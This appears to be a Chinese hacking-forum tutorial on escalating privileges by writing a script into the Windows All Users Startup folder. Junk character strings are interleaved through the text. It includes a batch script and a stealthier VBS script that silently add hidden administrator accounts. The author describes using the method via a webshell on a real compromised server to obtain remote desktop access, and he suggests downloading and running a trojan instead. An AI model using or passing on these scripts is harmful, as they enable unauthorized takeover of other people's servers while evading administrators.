[原创教程] 3AST提权课程之启动项提权 权课程

wmmy

大家好，我是完美蚂蚁 今天给大家带来的提权教程是
- c0 X4 p* @1 J: M/ ?启动 提权* O  q- ?0 d1 L7 L: \
C:\Docume~1\All Users\「开始」菜单\程序\启动
; N: e3 Y9 v" S( M在这里必须有写入权限 否则此方法无效
/ N; |9 y1 ?7 B$ l$ P因为我是在网吧 这里显示不了路径( g* n% g, ~9 d) ]1 c, G# x
我去服务器上演示给大家看$ x7 z* m: ^- K
大家看到了把 就是这个路径 在这个里面写入文件 等候服务器从起 就会自动执行我们的
! D  D, ~; I5 Y' v: a0 q4 Q2 F4 e文件 从而运行我们的文件# o4 g) Y+ n/ d: L- q6 E% h
这里有两中方式 第一种是批处理) S1 B6 I, l. T6 D& {
我们来看下目前 我机器上的用户组1 m# S# a& y: H3 e/ R
目前我们没有521这个用户9 x% ]# A' Z+ D( D, F
看到了把 已经添加到管理组中去了 刚才我们运行程序的时候 一闪而过一个黑色提示
" C: [% S1 r0 ~$ P- S) x" [4 r大家看到了吧  如果是在服务器上运行 一样会有这个提示的 细心的管理员有可能发现
3 J( w) [& Q1 L/ E) S" U7 A, @下面我们来介绍第二中方法使用VBS脚本 大家都知道VBS脚本是没有这个提示的
' S+ c, _- D! M7 o5 W1 j: {( J. L& w" G大家看 已经成功加入了WMMY用户7 y  w9 g% u5 q9 L: F
网络实战才是我们练手的目的 我已经找到一个含有这种漏洞的WBESHELL了* @$ c% B; g6 W2 C$ @/ B
当前终端服务端口: 33899 d! J+ h% K1 M  L; m
系统自动登录功能未开启6 b' C4 I' j0 h6 W
3389 已经打开了 我们只需要拥有一个管理员权限的用户就可以了8 _/ P0 c6 ?; K7 O9 g8 J
C:\Docume~1\All Users\「开始」菜单\程序\启动 这个是默认的路径! i- Q: C: [% C
第一种隐蔽性太差  我们就用第二种吧
) j/ y8 U6 Z2 V6 E已经写入了 我们只需要等待服务器从起 那个VBS脚本文件就会把我们的用户加入进去
. P' a0 ?+ R2 P$ J从而取得了3389的登陆权限
. j! L! c8 w! r9 {5 c其实在VBS脚本中 我们不一定需要添加管理员帐户可以 直接让VBS下载运行我们的木马2 @3 b: e' C! x7 }4 v1 D+ K6 f
基本原理都差不多  我就不多介绍了# _7 Q! z/ M7 B% P& f4 {4 W
教程结束```
5 C9 B' j, x5 A@echo off
8 A& P5 y$ H+ b, I' r; qnet user 521 521 /add
; r+ u* w: X( L' l$ fnet localgroup administrators 521 /add
9 l0 S2 Q  Q6 a7 w- D5 h3 O) q0 X8 B5 f# ^; _! D* [; E
on Error Resume next
7 x7 n( J9 h: ?& g+ c( I/ ?) d9 ~2 f9 t# wset wshshell=createobject("wscript.shell")
7 m8 J$ F: t3 K( [, C$ f7 P) aa=wshshell.run("net user wmmy$ 1227 /add",0)1 k8 l2 Z& h3 h- m
a=wshshell.run("net localgroup administrators wmmy$ /add",0)
2 I+ H2 `0 u. ~
0 Y' H( C6 L3 e7 I7 p$ d- w! y3 R# i
点击下载+ h/ O, [2 m7 e; N